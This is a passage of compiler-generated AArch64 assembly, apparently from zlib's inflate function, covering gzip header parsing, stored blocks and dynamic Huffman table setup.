cmp w0, 0
beq .L922
ldr x0, [sp, 160]
and w0, w0, 255
strb w0, [sp, 448]
ldr x0, [sp, 160]
lsr x0, x0, 8
and w0, w0, 255
strb w0, [sp, 449]
ldr x0, [sp, 160]
lsr x0, x0, 16
and w0, w0, 255
strb w0, [sp, 450]
ldr x0, [sp, 160]
lsr x0, x0, 24
and w0, w0, 255
strb w0, [sp, 451]
ldr x0, [sp, 200]
ldr x0, [x0, 24]
add x1, sp, 448
mov w2, 4
bl crc32
mov x1, x0
ldr x0, [sp, 200]
str x1, [x0, 24]
nop
.L922:
str xzr, [sp, 160]
str wzr, [sp, 64]
nop
ldr x0, [sp, 200]
mov w1, 3
str w1, [x0]
b .L923
.L925:
ldr w0, [sp, 56]
cmp w0, 0
beq .L1119
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 400]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 400]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
.L923:
ldr w0, [sp, 64]
cmp w0, 15
bls .L925
nop
ldr x0, [sp, 200]
ldr x0, [x0, 40]
cmp x0, 0
beq .L926
ldr x0, [sp, 160]
mov w1, w0
ldr x0, [sp, 200]
ldr x0, [x0, 40]
and w1, w1, 255
str w1, [x0, 16]
ldr x0, [sp, 160]
lsr x1, x0, 8
ldr x0, [sp, 200]
ldr x0, [x0, 40]
str w1, [x0, 20]
.L926:
ldr x0, [sp, 200]
ldr w0, [x0, 16]
and w0, w0, 512
cmp w0, 0
beq .L927
ldr x0, [sp, 160]
and w0, w0, 255
strb w0, [sp, 448]
ldr x0, [sp, 160]
lsr x0, x0, 8
and w0, w0, 255
strb w0, [sp, 449]
ldr x0, [sp, 200]
ldr x0, [x0, 24]
add x1, sp, 448
mov w2, 2
bl crc32
mov x1, x0
ldr x0, [sp, 200]
str x1, [x0, 24]
nop
.L927:
str xzr, [sp, 160]
str wzr, [sp, 64]
nop
ldr x0, [sp, 200]
mov w1, 4
str w1, [x0]
.L890:
ldr x0, [sp, 200]
ldr w0, [x0, 16]
and w0, w0, 1024
cmp w0, 0
beq .L928
b .L929
.L931:
ldr w0, [sp, 56]
cmp w0, 0
beq .L1120
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 408]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 408]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
.L929:
ldr w0, [sp, 64]
cmp w0, 15
bls .L931
nop
ldr x0, [sp, 160]
mov w1, w0
ldr x0, [sp, 200]
str w1, [x0, 84]
ldr x0, [sp, 200]
ldr x0, [x0, 40]
cmp x0, 0
beq .L932
ldr x0, [sp, 200]
ldr x0, [x0, 40]
ldr x1, [sp, 160]
str w1, [x0, 32]
.L932:
ldr x0, [sp, 200]
ldr w0, [x0, 16]
and w0, w0, 512
cmp w0, 0
beq .L933
ldr x0, [sp, 160]
and w0, w0, 255
strb w0, [sp, 448]
ldr x0, [sp, 160]
lsr x0, x0, 8
and w0, w0, 255
strb w0, [sp, 449]
ldr x0, [sp, 200]
ldr x0, [x0, 24]
add x1, sp, 448
mov w2, 2
bl crc32
mov x1, x0
ldr x0, [sp, 200]
str x1, [x0, 24]
nop
.L933:
str xzr, [sp, 160]
str wzr, [sp, 64]
b .L934
.L928:
ldr x0, [sp, 200]
ldr x0, [x0, 40]
cmp x0, 0
beq .L934
ldr x0, [sp, 200]
ldr x0, [x0, 40]
str xzr, [x0, 24]
.L934:
ldr x0, [sp, 200]
mov w1, 5
str w1, [x0]
.L889:
ldr x0, [sp, 200]
ldr w0, [x0, 16]
and w0, w0, 1024
cmp w0, 0
beq .L935
ldr x0, [sp, 200]
ldr w0, [x0, 84]
str w0, [sp, 72]
ldr w1, [sp, 72]
ldr w0, [sp, 56]
cmp w1, w0
bls .L936
ldr w0, [sp, 56]
str w0, [sp, 72]
.L936:
ldr w0, [sp, 72]
cmp w0, 0
beq .L937
ldr x0, [sp, 200]
ldr x0, [x0, 40]
cmp x0, 0
beq .L938
ldr x0, [sp, 200]
ldr x0, [x0, 40]
ldr x0, [x0, 24]
cmp x0, 0
beq .L938
ldr x0, [sp, 200]
ldr x0, [x0, 40]
ldr w1, [x0, 32]
ldr x0, [sp, 200]
ldr w0, [x0, 84]
sub w0, w1, w0
str w0, [sp, 76]
ldr w1, [sp, 76]
ldr w0, [sp, 72]
add w1, w1, w0
ldr x0, [sp, 200]
ldr x0, [x0, 40]
ldr w0, [x0, 36]
cmp w1, w0
bls .L939
ldr x0, [sp, 200]
ldr x0, [x0, 40]
ldr w1, [x0, 36]
ldr w0, [sp, 76]
sub w0, w1, w0
str w0, [sp, 96]
b .L940
.L939:
ldr w0, [sp, 72]
str w0, [sp, 96]
.L940:
ldr x0, [sp, 200]
ldr x0, [x0, 40]
ldr x1, [x0, 24]
ldr w0, [sp, 76]
add x0, x1, x0
ldr w2, [sp, 96]
ldr x1, [sp, 144]
bl memcpy
.L938:
ldr x0, [sp, 200]
ldr w0, [x0, 16]
and w0, w0, 512
cmp w0, 0
beq .L941
ldr x0, [sp, 200]
ldr x0, [x0, 24]
ldr w2, [sp, 72]
ldr x1, [sp, 144]
bl crc32
mov x1, x0
ldr x0, [sp, 200]
str x1, [x0, 24]
.L941:
ldr w1, [sp, 56]
ldr w0, [sp, 72]
sub w0, w1, w0
str w0, [sp, 56]
ldr w0, [sp, 72]
ldr x1, [sp, 144]
add x0, x1, x0
str x0, [sp, 144]
ldr x0, [sp, 200]
ldr w1, [x0, 84]
ldr w0, [sp, 72]
sub w1, w1, w0
ldr x0, [sp, 200]
str w1, [x0, 84]
.L937:
ldr x0, [sp, 200]
ldr w0, [x0, 84]
cmp w0, 0
bne .L1121
.L935:
ldr x0, [sp, 200]
str wzr, [x0, 84]
ldr x0, [sp, 200]
mov w1, 6
str w1, [x0]
.L888:
ldr x0, [sp, 200]
ldr w0, [x0, 16]
and w0, w0, 2048
cmp w0, 0
beq .L942
ldr w0, [sp, 56]
cmp w0, 0
beq .L1122
str wzr, [sp, 72]
.L948:
ldr w0, [sp, 72]
str w0, [sp, 124]
ldr w0, [sp, 72]
add w0, w0, 1
str w0, [sp, 72]
ldr w0, [sp, 124]
ldr x1, [sp, 144]
add x0, x1, x0
ldrb w0, [x0]
str w0, [sp, 76]
ldr x0, [sp, 200]
ldr x0, [x0, 40]
cmp x0, 0
beq .L944
ldr x0, [sp, 200]
ldr x0, [x0, 40]
ldr x0, [x0, 40]
cmp x0, 0
beq .L944
ldr x0, [sp, 200]
ldr w1, [x0, 84]
ldr x0, [sp, 200]
ldr x0, [x0, 40]
ldr w0, [x0, 48]
cmp w1, w0
bcs .L944
ldr x0, [sp, 200]
ldr w0, [x0, 84]
str w0, [sp, 128]
ldr x0, [sp, 200]
ldr w0, [x0, 84]
add w1, w0, 1
ldr x0, [sp, 200]
str w1, [x0, 84]
ldr x0, [sp, 200]
ldr x0, [x0, 40]
ldr x1, [x0, 40]
ldr w0, [sp, 128]
add x0, x1, x0
ldr w1, [sp, 76]
and w1, w1, 255
strb w1, [x0]
.L944:
ldr w0, [sp, 76]
cmp w0, 0
beq .L1123
ldr w1, [sp, 72]
ldr w0, [sp, 56]
cmp w1, w0
bcs .L1124
b .L948
.L1123:
nop
b .L947
.L1124:
nop
.L947:
ldr x0, [sp, 200]
ldr w0, [x0, 16]
and w0, w0, 512
cmp w0, 0
beq .L949
ldr x0, [sp, 200]
ldr x0, [x0, 24]
ldr w2, [sp, 72]
ldr x1, [sp, 144]
bl crc32
mov x1, x0
ldr x0, [sp, 200]
str x1, [x0, 24]
.L949:
ldr w1, [sp, 56]
ldr w0, [sp, 72]
sub w0, w1, w0
str w0, [sp, 56]
ldr w0, [sp, 72]
ldr x1, [sp, 144]
add x0, x1, x0
str x0, [sp, 144]
ldr w0, [sp, 76]
cmp w0, 0
beq .L950
b .L899
.L942:
ldr x0, [sp, 200]
ldr x0, [x0, 40]
cmp x0, 0
beq .L950
ldr x0, [sp, 200]
ldr x0, [x0, 40]
str xzr, [x0, 40]
.L950:
ldr x0, [sp, 200]
str wzr, [x0, 84]
ldr x0, [sp, 200]
mov w1, 7
str w1, [x0]
.L887:
ldr x0, [sp, 200]
ldr w0, [x0, 16]
and w0, w0, 4096
cmp w0, 0
beq .L951
ldr w0, [sp, 56]
cmp w0, 0
beq .L1125
str wzr, [sp, 72]
.L957:
ldr w0, [sp, 72]
str w0, [sp, 132]
ldr w0, [sp, 72]
add w0, w0, 1
str w0, [sp, 72]
ldr w0, [sp, 132]
ldr x1, [sp, 144]
add x0, x1, x0
ldrb w0, [x0]
str w0, [sp, 76]
ldr x0, [sp, 200]
ldr x0, [x0, 40]
cmp x0, 0
beq .L953
ldr x0, [sp, 200]
ldr x0, [x0, 40]
ldr x0, [x0, 56]
cmp x0, 0
beq .L953
ldr x0, [sp, 200]
ldr w1, [x0, 84]
ldr x0, [sp, 200]
ldr x0, [x0, 40]
ldr w0, [x0, 64]
cmp w1, w0
bcs .L953
ldr x0, [sp, 200]
ldr w0, [x0, 84]
str w0, [sp, 136]
ldr x0, [sp, 200]
ldr w0, [x0, 84]
add w1, w0, 1
ldr x0, [sp, 200]
str w1, [x0, 84]
ldr x0, [sp, 200]
ldr x0, [x0, 40]
ldr x1, [x0, 56]
ldr w0, [sp, 136]
add x0, x1, x0
ldr w1, [sp, 76]
and w1, w1, 255
strb w1, [x0]
.L953:
ldr w0, [sp, 76]
cmp w0, 0
beq .L1126
ldr w1, [sp, 72]
ldr w0, [sp, 56]
cmp w1, w0
bcs .L1127
b .L957
.L1126:
nop
b .L956
.L1127:
nop
.L956:
ldr x0, [sp, 200]
ldr w0, [x0, 16]
and w0, w0, 512
cmp w0, 0
beq .L958
ldr x0, [sp, 200]
ldr x0, [x0, 24]
ldr w2, [sp, 72]
ldr x1, [sp, 144]
bl crc32
mov x1, x0
ldr x0, [sp, 200]
str x1, [x0, 24]
.L958:
ldr w1, [sp, 56]
ldr w0, [sp, 72]
sub w0, w1, w0
str w0, [sp, 56]
ldr w0, [sp, 72]
ldr x1, [sp, 144]
add x0, x1, x0
str x0, [sp, 144]
ldr w0, [sp, 76]
cmp w0, 0
beq .L959
b .L899
.L951:
ldr x0, [sp, 200]
ldr x0, [x0, 40]
cmp x0, 0
beq .L959
ldr x0, [sp, 200]
ldr x0, [x0, 40]
str xzr, [x0, 56]
.L959:
ldr x0, [sp, 200]
mov w1, 8
str w1, [x0]
.L886:
ldr x0, [sp, 200]
ldr w0, [x0, 16]
and w0, w0, 512
cmp w0, 0
beq .L960
b .L961
.L963:
ldr w0, [sp, 56]
cmp w0, 0
beq .L1128
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 416]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 416]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
.L961:
ldr w0, [sp, 64]
cmp w0, 15
bls .L963
nop
ldr x0, [sp, 200]
ldr x0, [x0, 24]
and x0, x0, 65535
ldr x1, [sp, 160]
cmp x1, x0
beq .L964
ldr x0, [sp, 24]
adrp x1, .LC23
add x1, x1, :lo12:.LC23
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L896
.L964:
str xzr, [sp, 160]
str wzr, [sp, 64]
nop
.L960:
ldr x0, [sp, 200]
ldr x0, [x0, 40]
cmp x0, 0
beq .L965
ldr x0, [sp, 200]
ldr w0, [x0, 16]
asr w1, w0, 9
ldr x0, [sp, 200]
ldr x0, [x0, 40]
and w1, w1, 1
str w1, [x0, 68]
ldr x0, [sp, 200]
ldr x0, [x0, 40]
mov w1, 1
str w1, [x0, 72]
.L965:
mov w2, 0
mov x1, 0
mov x0, 0
bl crc32
str x0, [sp, 424]
ldr x0, [sp, 200]
ldr x1, [sp, 424]
str x1, [x0, 24]
ldr x0, [sp, 24]
ldr x1, [sp, 424]
str x1, [x0, 96]
ldr x0, [sp, 200]
mov w1, 11
str w1, [x0]
b .L896
.L968:
ldr w0, [sp, 56]
cmp w0, 0
beq .L1129
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 360]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 360]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
.L966:
ldr w0, [sp, 64]
cmp w0, 31
bls .L968
nop
ldr x0, [sp, 160]
lsr x0, x0, 24
and x1, x0, 255
ldr x0, [sp, 160]
lsr x0, x0, 8
and x0, x0, 65280
orr x1, x1, x0
ldr x0, [sp, 160]
lsl x0, x0, 8
and x0, x0, 16711680
add x1, x1, x0
ldr x0, [sp, 160]
lsl x0, x0, 24
and x0, x0, 4294967295
add x0, x1, x0
str x0, [sp, 352]
ldr x0, [sp, 200]
ldr x1, [sp, 352]
str x1, [x0, 24]
ldr x0, [sp, 24]
ldr x1, [sp, 352]
str x1, [x0, 96]
str xzr, [sp, 160]
str wzr, [sp, 64]
nop
ldr x0, [sp, 200]
mov w1, 10
str w1, [x0]
.L884:
ldr x0, [sp, 200]
ldr w0, [x0, 12]
cmp w0, 0
bne .L969
ldr x0, [sp, 24]
ldr x1, [sp, 152]
str x1, [x0, 24]
ldr x0, [sp, 24]
ldr w1, [sp, 60]
str w1, [x0, 32]
ldr x0, [sp, 24]
ldr x1, [sp, 144]
str x1, [x0]
ldr x0, [sp, 24]
ldr w1, [sp, 56]
str w1, [x0, 8]
ldr x0, [sp, 200]
ldr x1, [sp, 160]
str x1, [x0, 72]
ldr x0, [sp, 200]
ldr w1, [sp, 64]
str w1, [x0, 80]
nop
mov w0, 2
str w0, [sp, 52]
b .L857
.L969:
mov w2, 0
mov x1, 0
mov x0, 0
bl adler32
str x0, [sp, 368]
ldr x0, [sp, 200]
ldr x1, [sp, 368]
str x1, [x0, 24]
ldr x0, [sp, 24]
ldr x1, [sp, 368]
str x1, [x0, 96]
ldr x0, [sp, 200]
mov w1, 11
str w1, [x0]
.L883:
ldr w0, [sp, 20]
cmp w0, 5
beq .L1130
ldr w0, [sp, 20]
cmp w0, 6
beq .L1131
.L882:
ldr x0, [sp, 200]
ldr w0, [x0, 4]
cmp w0, 0
beq .L972
ldr w0, [sp, 64]
and w0, w0, 7
ldr x1, [sp, 160]
lsr x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
and w0, w0, -8
str w0, [sp, 64]
nop
ldr x0, [sp, 200]
mov w1, 26
str w1, [x0]
b .L896
.L974:
ldr w0, [sp, 56]
cmp w0, 0
beq .L1132
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 376]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 376]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
.L972:
ldr w0, [sp, 64]
cmp w0, 2
bls .L974
nop
ldr x0, [sp, 160]
and w1, w0, 1
ldr x0, [sp, 200]
str w1, [x0, 4]
ldr x0, [sp, 160]
lsr x0, x0, 1
str x0, [sp, 160]
ldr w0, [sp, 64]
sub w0, w0, #1
str w0, [sp, 64]
nop
ldr x0, [sp, 160]
and w0, w0, 3
cmp w0, 3
beq .L975
cmp w0, 3
bhi .L976
cmp w0, 2
beq .L977
cmp w0, 2
bhi .L976
cmp w0, 0
beq .L978
cmp w0, 1
beq .L979
b .L976
.L978:
ldr x0, [sp, 200]
mov w1, 13
str w1, [x0]
b .L976
.L979:
ldr x0, [sp, 200]
bl fixedtables
ldr x0, [sp, 200]
mov w1, 19
str w1, [x0]
ldr w0, [sp, 20]
cmp w0, 6
bne .L1133
ldr x0, [sp, 160]
lsr x0, x0, 2
str x0, [sp, 160]
ldr w0, [sp, 64]
sub w0, w0, #2
str w0, [sp, 64]
nop
b .L899
.L977:
ldr x0, [sp, 200]
mov w1, 16
str w1, [x0]
b .L976
.L975:
ldr x0, [sp, 24]
adrp x1, .LC24
add x1, x1, :lo12:.LC24
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L976
.L1133:
nop
.L976:
ldr x0, [sp, 160]
lsr x0, x0, 2
str x0, [sp, 160]
ldr w0, [sp, 64]
sub w0, w0, #2
str w0, [sp, 64]
nop
b .L896
.L881:
ldr w0, [sp, 64]
and w0, w0, 7
ldr x1, [sp, 160]
lsr x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
and w0, w0, -8
str w0, [sp, 64]
nop
b .L981
.L983:
ldr w0, [sp, 56]
cmp w0, 0
beq .L1134
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 344]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 344]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
.L981:
ldr w0, [sp, 64]
cmp w0, 31
bls .L983
nop
ldr x0, [sp, 160]
and x1, x0, 65535
ldr x0, [sp, 160]
lsr x0, x0, 16
eor x0, x0, 65535
cmp x1, x0
beq .L984
ldr x0, [sp, 24]
adrp x1, .LC25
add x1, x1, :lo12:.LC25
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L896
.L984:
ldr x0, [sp, 160]
and w1, w0, 65535
ldr x0, [sp, 200]
str w1, [x0, 84]
str xzr, [sp, 160]
str wzr, [sp, 64]
nop
ldr x0, [sp, 200]
mov w1, 14
str w1, [x0]
ldr w0, [sp, 20]
cmp w0, 6
beq .L1135
.L880:
ldr x0, [sp, 200]
mov w1, 15
str w1, [x0]
.L879:
ldr x0, [sp, 200]
ldr w0, [x0, 84]
str w0, [sp, 72]
ldr w0, [sp, 72]
cmp w0, 0
beq .L985
ldr w1, [sp, 72]
ldr w0, [sp, 56]
cmp w1, w0
bls .L986
ldr w0, [sp, 56]
str w0, [sp, 72]
.L986:
ldr w1, [sp, 72]
ldr w0, [sp, 60]
cmp w1, w0
bls .L987
ldr w0, [sp, 60]
str w0, [sp, 72]
.L987:
ldr w0, [sp, 72]
cmp w0, 0
beq .L1136
ldr w2, [sp, 72]
ldr x1, [sp, 144]
ldr x0, [sp, 152]
bl memcpy
ldr w1, [sp, 56]
ldr w0, [sp, 72]
sub w0, w1, w0
str w0, [sp, 56]
ldr w0, [sp, 72]
ldr x1, [sp, 144]
add x0, x1, x0
str x0, [sp, 144]
ldr w1, [sp, 60]
ldr w0, [sp, 72]
sub w0, w1, w0
str w0, [sp, 60]
ldr w0, [sp, 72]
ldr x1, [sp, 152]
add x0, x1, x0
str x0, [sp, 152]
ldr x0, [sp, 200]
ldr w1, [x0, 84]
ldr w0, [sp, 72]
sub w1, w1, w0
ldr x0, [sp, 200]
str w1, [x0, 84]
b .L896
.L985:
ldr x0, [sp, 200]
mov w1, 11
str w1, [x0]
b .L896
.L991:
ldr w0, [sp, 56]
cmp w0, 0
beq .L1137
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 232]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 232]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
.L989:
ldr w0, [sp, 64]
cmp w0, 13
bls .L991
nop
ldr x0, [sp, 160]
and w0, w0, 31
add w1, w0, 257
ldr x0, [sp, 200]
str w1, [x0, 124]
ldr x0, [sp, 160]
lsr x0, x0, 5
str x0, [sp, 160]
ldr w0, [sp, 64]
sub w0, w0, #5
str w0, [sp, 64]
nop
ldr x0, [sp, 160]
and w0, w0, 31
add w1, w0, 1
ldr x0, [sp, 200]
str w1, [x0, 128]
ldr x0, [sp, 160]
lsr x0, x0, 5
str x0, [sp, 160]
ldr w0, [sp, 64]
sub w0, w0, #5
str w0, [sp, 64]
nop
ldr x0, [sp, 160]
and w0, w0, 15
add w1, w0, 4
ldr x0, [sp, 200]
str w1, [x0, 120]
ldr x0, [sp, 160]
lsr x0, x0, 4
str x0, [sp, 160]
ldr w0, [sp, 64]
sub w0, w0, #4
str w0, [sp, 64]
nop
ldr x0, [sp, 200]
ldr w0, [x0, 124]
cmp w0, 286
bhi .L1138
ldr x0, [sp, 200]
ldr w0, [x0, 128]
cmp w0, 30
bls .L994
b .L993
.L1138:
nop
.L993:
ldr x0, [sp, 24]
adrp x1, .LC26
add x1, x1, :lo12:.LC26
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L896
.L994:
ldr x0, [sp, 200]
str wzr, [x0, 132]
ldr x0, [sp, 200]
mov w1, 17
str w1, [x0]
b .L995
.L998:
ldr w0, [sp, 56]
cmp w0, 0
beq .L1139
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 240]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 240]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
.L996:
ldr w0, [sp, 64]
cmp w0, 2
bls .L998
nop
ldr x0, [sp, 200]
ldr w0, [x0, 132]
str w0, [sp, 108]
ldr x0, [sp, 200]
ldr w0, [x0, 132]
add w1, w0, 1
ldr x0, [sp, 200]
str w1, [x0, 132]
ldr x0, [sp, 160]
and w0, w0, 65535
adrp x1, order
add x1, x1, :lo12:order
ldr w2, [sp, 108]
ldrh w1, [x1, x2, lsl 1]
and w0, w0, 7
and w2, w0, 65535
ldr x0, [sp, 200]
sxtw x1, w1
add x1, x1, 72
strh w2, [x0, x1, lsl 1]
ldr x0, [sp, 160]
lsr x0, x0, 3
str x0, [sp, 160]
ldr w0, [sp, 64]
sub w0, w0, #3
str w0, [sp, 64]
nop
.L995:
ldr x0, [sp, 200]
ldr w1, [x0, 132]
ldr x0, [sp, 200]
ldr w0, [x0, 120]
cmp w1, w0
bcc .L996
b .L1000
.L1001:
ldr x0, [sp, 200]
ldr w0, [x0, 132]
str w0, [sp, 104]
ldr x0, [sp, 200]
ldr w0, [x0, 132]
add w1, w0, 1
ldr x0, [sp, 200]
str w1, [x0, 132]
adrp x0, order
add x0, x0, :lo12:order
ldr w1, [sp, 104]
ldrh w0, [x0, x1, lsl 1]
mov w1, w0
ldr x0, [sp, 200]
sxtw x1, w1
add x1, x1, 72
strh wzr, [x0, x1, lsl 1]
.L1000:
ldr x0, [sp, 200]
ldr w0, [x0, 132]
cmp w0, 18
bls .L1001
ldr x0, [sp, 200]
add x1, x0, 1360
ldr x0, [sp, 200]
str x1, [x0, 136]
ldr x0, [sp, 200]
ldr x1, [x0, 136]
ldr x0, [sp, 200]
str x1, [x0, 96]
ldr x0, [sp, 200]
mov w1, 7
str w1, [x0, 112]
ldr x0, [sp, 200]
add x1, x0, 144
ldr x0, [sp, 200]
add x2, x0, 136
ldr x0, [sp, 200]
add x3, x0, 112
ldr x0, [sp, 200]
add x0, x0, 784
mov x5, x0
mov x4, x3
mov x3, x2
mov w2, 19
mov w0, 0
bl inflate_table
str w0, [sp, 80]
ldr w0, [sp, 80]
cmp w0, 0
beq .L1002
ldr x0, [sp, 24]
adrp x1, .LC27
add x1, x1, :lo12:.LC27
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L896
.L1002:
ldr x0, [sp, 200]
str wzr, [x0, 132]
ldr x0, [sp, 200]
mov w1, 18
str w1, [x0]
b .L1003
.L1007:
ldr x0, [sp, 200]
ldr x1, [x0, 96]
ldr x0, [sp, 160]
mov w3, w0
ldr x0, [sp, 200]
ldr w0, [x0, 112]
mov w2, -1
lsl w0, w2, w0
mvn w0, w0
and w0, w3, w0
uxtw x0, w0
lsl x0, x0, 2
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 40]
ldrb w0, [sp, 41]
mov w1, w0
ldr w0, [sp, 64]
cmp w0, w1
bcs .L1140
ldr w0, [sp, 56]
cmp w0, 0
beq .L1141
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 248]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 248]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
b .L1007
.L1140:
nop
ldrh w0, [sp, 42]
cmp w0, 15
bhi .L1008
ldrb w0, [sp, 41]
mov w1, w0
ldr x0, [sp, 160]
lsr x0, x0, x1
str x0, [sp, 160]
ldrb w0, [sp, 41]
mov w1, w0
ldr w0, [sp, 64]
sub w0, w0, w1
str w0, [sp, 64]
nop
ldr x0, [sp, 200]
ldr w0, [x0, 132]
str w0, [sp, 120]
ldr x0, [sp, 200]
ldr w0, [x0, 132]
add w1, w0, 1
ldr x0, [sp, 200]
str w1, [x0, 132]
ldrh w2, [sp, 42]
ldr x0, [sp, 200]
ldr w1, [sp, 120]
add x1, x1, 72
strh w2, [x0, x1, lsl 1]
b .L1003
.L1008:
ldrh w0, [sp, 42]
cmp w0, 16
bne .L1009
b .L1010
.L1012:
ldr w0, [sp, 56]
cmp w0, 0
beq .L1142
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 272]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 272]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
.L1010:
ldrb w0, [sp, 41]
add w0, w0, 2
mov w1, w0
ldr w0, [sp, 64]
cmp w0, w1
bcc .L1012
nop
ldrb w0, [sp, 41]
mov w1, w0
ldr x0, [sp, 160]
lsr x0, x0, x1
str x0, [sp, 160]
ldrb w0, [sp, 41]
mov w1, w0
ldr w0, [sp, 64]
sub w0, w0, w1
str w0, [sp, 64]
nop
ldr x0, [sp, 200]
ldr w0, [x0, 132]
cmp w0, 0
bne .L1013
ldr x0, [sp, 24]
adrp x1, .LC28
add x1, x1, :lo12:.LC28
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L1014
.L1013:
ldr x0, [sp, 200]
ldr w0, [x0, 132]
sub w1, w0, #1
ldr x0, [sp, 200]
uxtw x1, w1
add x1, x1, 72
ldrh w0, [x0, x1, lsl 1]
str w0, [sp, 76]
ldr x0, [sp, 160]
and w0, w0, 3
add w0, w0, 3
str w0, [sp, 72]
ldr x0, [sp, 160]
lsr x0, x0, 2
str x0, [sp, 160]
ldr w0, [sp, 64]
sub w0, w0, #2
str w0, [sp, 64]
b .L1015
.L1009:
ldrh w0, [sp, 42]
cmp w0, 17
bne .L1020
b .L1017
.L1019:
ldr w0, [sp, 56]
cmp w0, 0
beq .L1143
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 264]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 264]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
.L1017:
ldrb w0, [sp, 41]
add w0, w0, 3
mov w1, w0
ldr w0, [sp, 64]
cmp w0, w1
bcc .L1019
nop
ldrb w0, [sp, 41]
mov w1, w0
ldr x0, [sp, 160]
lsr x0, x0, x1
str x0, [sp, 160]
ldrb w0, [sp, 41]
mov w1, w0
ldr w0, [sp, 64]
sub w0, w0, w1
str w0, [sp, 64]
nop
str wzr, [sp, 76]
ldr x0, [sp, 160]
and w0, w0, 7
add w0, w0, 3
